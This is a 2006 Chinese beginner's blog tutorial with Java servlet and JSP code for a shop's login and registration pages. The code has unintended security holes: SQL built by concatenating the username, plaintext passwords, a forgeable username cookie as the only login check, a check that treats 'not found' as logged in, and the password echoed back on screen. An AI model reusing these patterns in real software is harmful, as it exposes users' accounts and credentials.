				<p>//import required classes<br />import java.io.*;<br />import javax.servlet.*;<br />import javax.servlet.http.*;<br />import java.sql.*;</p>
				<p>//class login<br />public class login extends HttpServlet<br />{<br /> public void doGet(HttpServletRequest req,HttpServletResponse res)<br /> throws IOException,ServletException<br /> {<br />  String username = req.getParameter("username");<br />  String password = req.getParameter("password");<br />  if(this.checklogin(username,password))<br />  {<br />   Cookie mylogin = new Cookie("username",username);<br />   mylogin.setVersion(1);<br />   mylogin.setPath("/");<br />   mylogin.setComment("Your login username");<br />   res.addCookie(mylogin); <br />  }<br />  //Cookie[] myCookies = req.getCookies();<br />  //String nameValue = this.getCookieValue(myCookies,"username","not found");<br />  //PrintWriter out = res.getWriter();<br />  //out.println("username" + ":" + nameValue);<br />  //out.println("Test Cookie Success!");<br />  res.sendRedirect("/index.<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>");<br /> }<br /> <br /> public void doPost(HttpServletRequest req,HttpServletResponse res)<br /> throws IOException,ServletException<br /> {<br />  doGet(req,res);<br /> }<br /> <br /> public static String getCookieValue(Cookie[] cookies,String cookieName,String defaultValue)<br /> {<br />  for(int i=0;i&lt;cookies.length;i++) {<br />  Cookie cookie = cookies[i];<br />  if (cookieName.equals(cookie.getName()))<br />  return(cookie.getValue());<br /> }<br />  return(defaultValue);<br /> } </p>
				<p>
						<br />  <br /> public boolean checklogin(String username,String password)<br /> {<br />  try{<br />   DBConn loginConn = new DBConn();<br />   loginConn.executeQuery("select * from tbl_user where name='" + username + "'");<br />   if(loginConn.rs_next())<br />   {<br />    System.out.println("Connection created!");<br />    if(loginConn.rs_getString("pwd").trim().equals(password))<br />    {<br />     System.out.println(loginConn.rs_getString("name"));<br />     return true;<br />    }<br />    else<br />    {<br />     return false;<br />    }<br />   }<br />   System.out.println("Test Login Success!");<br />   return false;<br />  }catch(Exception e){<br />   System.out.println(e.toString());<br />   return false;<br />   } <br /> }<br /> <br /> public static void main(String args[])<br /> {<br />  login mylogin = new login();<br />  System.out.println(mylogin.checklogin("shandong","shandong"));<br /> }<br /> <br />}</p>
				<p>说明：<br />1、默认的jdk1.4中并没有servlet包，请至sun公司<a class="wordstyle" href="http://www.pccode.net" target="_blank">网页</a><a class="wordstyle" href="http://www.pccode.net" target="_blank">下载</a>servlet.jar，放至jdk目录下的jre\lib\目录下，并在JCreator中设置jdk处添加servlet.jar包  </p>
				<p>2、本Servlet用于检验用户名和密码，若正确则将用户名写入Cookie，完成后将当前页重定向到index.<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>页</p>
				<p> </p>
				<p>
						<br />五、编写检测用户是否已经登陆的bean：checkLogin.java</p>
				<p>//checkLogin.java</p>
				<p>//import required classes<br />import java.io.*;<br />import javax.servlet.*;<br />import javax.servlet.http.*;</p>
				<p>//class checkLogin<br />public class checkLogin<br />{<br /> public String username = "";<br /> <br /> public boolean check(HttpServletRequest req,HttpServletResponse res)<br /> throws IOException,ServletException<br /> {<br />  String cookieName = "username";<br />  Cookie[] myCookies = req.getCookies();<br />  this.username = this.getCookieValue(myCookies,cookieName,"not found");<br />  PrintWriter out = res.getWriter();<br />  if(this.username != null)<br />  {   <br />   //out.println("早上好，" + this.username + "！");<br />   return true;<br />  }else{<br />   out.println("登陆失败！");<br />   return false;<br />   }<br />   <br /> }<br /> <br /> public String getUserName()<br /> {<br />  return this.username;<br /> }<br /> <br /> public static String getCookieValue(Cookie[] cookies,String cookieName,String defaultValue)<br /> {<br />  for(int i=0;i&lt;cookies.length;i++) {<br />  Cookie cookie = cookies[i];<br />  if (cookieName.equals(cookie.getName()))<br />  return(cookie.getValue());<br /> }<br />  return(defaultValue);<br /> }<br />}</p>
				<p>说明：此bean检测cookie中的username，若不为空则说明已登录，反之说明没有登录。方法不够完善，您可以自行扩充。</p>
				<p> </p>
				<p>
						<br />六、在JRun中建立shopping服务器<br />打开JRun Administrator，新建shopping服务器，这里端口为8101。<br />将上文所述所有编译后的class文件连同org包拷至JRun的shopping服务器所在目录中的classes文件夹下，路径为：</p>
				<p>
						<br />C:\JRun4\servers\shopping\default-ear\default-war\WEB-INF\classes\</p>
				<p>七、建立<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>文件<br />应用DW，在C:\JRun4\servers\shopping\default-ear\default-war\目录下新建如下的<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>文件：<br />index.<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>：</p>
				<p>
						<br />&lt;%@ page contentType="text/html;charset=gb2312" pageEncoding="gb2312" %&gt;<br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;Shopping123&lt;/title&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<br />&lt;link href="styles/shoppingstyle.css" rel="stylesheet" type="text/css"&gt;<br />&lt;/head&gt;<br />&lt;body bgcolor="#FFFFFF" leftmargin="0" topmargin="0"&gt;<br />&lt;<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>:useBean id="checklogin" class="checkLogin" scope="page"/&gt;<br />&lt;%<br /> boolean login = checklogin.check(request,response);<br />%&gt;<br />&lt;table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"&gt;<br />  &lt;tr bgcolor="#990000"&gt; <br />    &lt;td height="80" colspan="5"&gt;&lt;table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"&gt;<br />        &lt;tr&gt;<br />          &lt;td width="120"&gt;&amp;nbsp;&lt;/td&gt;<br />          &lt;td class="caption"&gt;Shopping123&lt;/td&gt;<br />          &lt;td width="200"&gt;&amp;nbsp;&lt;/td&gt;<br />        &lt;/tr&gt;<br />      &lt;/table&gt;&lt;/td&gt;<br />  &lt;/tr&gt;<br />  &lt;tr&gt; <br />    &lt;td width="200" align="center" valign="top"&gt;&lt;table width="100%" height="20" border="0" cellpadding="0" cellspacing="0"&gt;<br />        &lt;tr&gt;<br />          &lt;td&gt;&amp;nbsp;&lt;/td&gt;<br />        &lt;/tr&gt;<br />      &lt;/table&gt;<br />   &lt;%<br />    if(!login){<br />   %&gt;<br />      &lt;table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC"&gt;<br />   &lt;form name="form1" method="post" action="/servlet/login"&gt;<br />        &lt;tr align="center" bgcolor="#CCCCCC"&gt; <br />          &lt;td height="30" colspan="2" class="deepred"&gt;卖场入口&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;会员&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;input name="username" type="text" id="username" size="10"&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td height="24" align="center" bgcolor="#FFFFFF"&gt;密码&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;input name="password" type="text" id="password" size="10"&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td height="24" align="center" bgcolor="#FFFFFF"&gt;&lt;a href="reg.<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>" target="_blank" class="red"&gt;注册&lt;/a&gt;&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;input type="submit" name="Submit" value="进入"&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />  &lt;/form&gt;<br />      &lt;/table&gt;<br />   &lt;%<br />    } <br />  else<br />  {<br />   out.println("您好，" + checklogin.getUserName() + "!");<br />  }<br />   %&gt;<br />   &lt;/td&gt;<br /> &lt;td width="1" valign="top" bgcolor="#CCCCCC"&gt;&lt;/td&gt;<br />    &lt;td width="400"&gt;&amp;nbsp;&lt;/td&gt;<br /> &lt;td width="1" valign="top" bgcolor="#CCCCCC"&gt;&lt;/td&gt;<br />    &lt;td width="200"&gt;&amp;nbsp;&lt;/td&gt;<br />  &lt;/tr&gt;<br />  &lt;tr align="center" bgcolor="#990000"&gt; <br />    &lt;td height="60" colspan="5" class="white"&gt;copyright&amp;copy; 2003 Shopping123&lt;/td&gt;<br />  &lt;/tr&gt;<br />&lt;/table&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;</p>
				<p>
						<br />reg.<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>&lt;%@ page contentType="text/html;charset=gb2312" pageEncoding="gb2312" %&gt;<br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;Shopping123&lt;/title&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<br />&lt;link href="styles/shoppingstyle.css" rel="stylesheet" type="text/css"&gt;<br />&lt;/head&gt;<br />&lt;body bgcolor="#FFFFFF" leftmargin="0" topmargin="0"&gt;<br />&lt;table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"&gt;<br />  &lt;tr bgcolor="#990000"&gt; <br />    &lt;td height="80" colspan="5"&gt;&lt;table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"&gt;<br />        &lt;tr&gt; <br />          &lt;td width="120"&gt;&amp;nbsp;&lt;/td&gt;<br />          &lt;td class="caption"&gt;Shopping123&lt;/td&gt;<br />          &lt;td width="200"&gt;&amp;nbsp;&lt;/td&gt;<br />        &lt;/tr&gt;<br />      &lt;/table&gt;&lt;/td&gt;<br />  &lt;/tr&gt;<br />  &lt;tr&gt; <br />    &lt;td width="100" align="center" valign="top"&gt;&amp;nbsp;&lt;/td&gt;<br />    &lt;td width="1" valign="top"&gt;&lt;/td&gt;<br />    &lt;td width="400" align="center" valign="top"&gt;&lt;table width="100%" height="20" border="0" cellpadding="0" cellspacing="0"&gt;<br />        &lt;tr&gt;<br />          &lt;td&gt;&amp;nbsp;&lt;/td&gt;<br />        &lt;/tr&gt;<br />      &lt;/table&gt;<br />      &lt;table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC"&gt;<br />   &lt;form action="regpost.<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>" method="post" name="form1"&gt;<br />        &lt;tr align="center"&gt; <br />          &lt;td height="30" colspan="2" bgcolor="#CCCCCC" class="deepred"&gt;会员注册&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;会员&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;input name="username" type="text" id="username" size="16"&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;密码&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;input name="password" type="password" id="password" size="16"&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;验证密码&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;input name="confirm" type="password" id="confirm" size="16"&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;E-mail&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;input name="email" type="text" id="email" size="16"&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;&lt;input type="submit" name="Submit" value="重写"&gt;&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;input type="submit" name="Submit2" value="注册"&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />  &lt;/form&gt;<br />      &lt;/table&gt;&lt;/td&gt;<br />    &lt;td width="1" valign="top"&gt;&lt;/td&gt;<br />    &lt;td width="100"&gt;&amp;nbsp;&lt;/td&gt;<br />  &lt;/tr&gt;<br />  &lt;tr align="center" bgcolor="#990000"&gt; <br />    &lt;td height="60" colspan="5" class="white"&gt;copyright&amp;copy; 2003 Shopping123&lt;/td&gt;<br />  &lt;/tr&gt;<br />&lt;/table&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br /> regpost.<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>：注册表单提交页面&lt;%@ page contentType="text/html;charset=gb2312" pageEncoding="gb2312" %&gt;<br />&lt;%@ page import="reg"%&gt;<br />&lt;html&gt;<br />&lt;head&gt;<br />&lt;title&gt;Shopping123&lt;/title&gt;<br />&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt;<br />&lt;link href="styles/shoppingstyle.css" rel="stylesheet" type="text/css"&gt;<br />&lt;/head&gt;<br />&lt;body bgcolor="#FFFFFF" leftmargin="0" topmargin="0"&gt;<br />&lt;%<br /> String username = new String(request.getParameter("username").getBytes("ISO8859_1")).trim();<br /> String password = new String(request.getParameter("password").getBytes("ISO8859_1")).trim();<br /> String confirm = new String(request.getParameter("confirm").getBytes("ISO8859_1")).trim();<br /> String email = new String(request.getParameter("email").getBytes("ISO8859_1")).trim();<br />%&gt;<br />&lt;table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"&gt;<br />  &lt;tr bgcolor="#990000"&gt; <br />    &lt;td height="80" colspan="5"&gt;&lt;table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0"&gt;<br />        &lt;tr&gt; <br />          &lt;td width="120"&gt;&amp;nbsp;&lt;/td&gt;<br />          &lt;td class="caption"&gt;Shopping123&lt;/td&gt;<br />          &lt;td width="200"&gt;&amp;nbsp;&lt;/td&gt;<br />        &lt;/tr&gt;<br />      &lt;/table&gt;&lt;/td&gt;<br />  &lt;/tr&gt;<br />  &lt;tr&gt; <br />    &lt;td width="100" align="center" valign="top"&gt;&amp;nbsp;&lt;/td&gt;<br />    &lt;td width="1" valign="top"&gt;&lt;/td&gt;<br />    &lt;td width="400" align="center" valign="top"&gt;<br />&lt;table width="100%" height="20" border="0" cellpadding="0" cellspacing="0"&gt;<br />        &lt;tr&gt;<br />          &lt;td&gt;&amp;nbsp;&lt;/td&gt;<br />        &lt;/tr&gt;<br />      &lt;/table&gt;<br />&lt;<a class="wordstyle" href="http://www.pccode.net" target="_blank">jsp</a>:useBean id="regID" class="reg" scope="session"/&gt;<br />&lt;%<br /> if(regID.reg(username,password,confirm,email))<br /> {<br />  out.print("ok");<br />  String newID = regID.getID() + ""; <br />%&gt;<br />      &lt;table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC"&gt;<br />        &lt;tr align="center"&gt; <br />          &lt;td height="30" colspan="2" bgcolor="#CCCCCC" class="deepred"&gt;恭喜您，注册成功！&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;编号&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;%=newID%&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;会员&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;%=username%&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;密码&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;%=password%&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />        &lt;tr&gt; <br />          &lt;td width="50%" height="24" align="center" bgcolor="#FFFFFF"&gt;E-mail&lt;/td&gt;<br />          &lt;td align="center" bgcolor="#FFFFFF"&gt;&lt;%=email%&gt;&lt;/td&gt;<br />        &lt;/tr&gt;<br />      &lt;/table&gt;<br />&lt;%<br />  out.print("&lt;br&gt;");<br />  out.print("&lt;a href=<i>javascript</i>:window.close()&gt;关闭&lt;/a&gt;");<br /> }else{<br />  out.print("注册失败！&lt;br&gt;");<br />  out.print("该用户名已有人使用，请使用另外的用户名！");<br />  out.print("&lt;a href=<i>javascript</i>:history.go(-1)&gt;返回&lt;/a&gt;");<br /> } <br />%&gt;<br />   &lt;/td&gt;<br />    &lt;td width="1" valign="top"&gt;&lt;/td&gt;<br />    &lt;td width="100"&gt;&amp;nbsp;&lt;/td&gt;<br />  &lt;/tr&gt;<br />  &lt;tr align="center" bgcolor="#990000"&gt; <br />    &lt;td height="60" colspan="5" class="white"&gt;copyright&amp;copy; 2003 Shopping123&lt;/td&gt;<br />  &lt;/tr&gt;<br />&lt;/table&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br /> 至此，我们已经完成了一个用户注册、登录的系统。 因为这是本人自己边学边做完成的，所以代码一定有很多不完善的地方，欢迎大家批评指正。 以上所有代码均经本人测试通过。 </p>
				<p>
				</p>
		</font>
<img src ="http://www.blogjava.net/xixidabao/aggbug/44291.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xixidabao/" target="_blank">JAVA之路</a> 2006-05-01 17:32 <a href="http://www.blogjava.net/xixidabao/archive/2006/05/01/44291.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>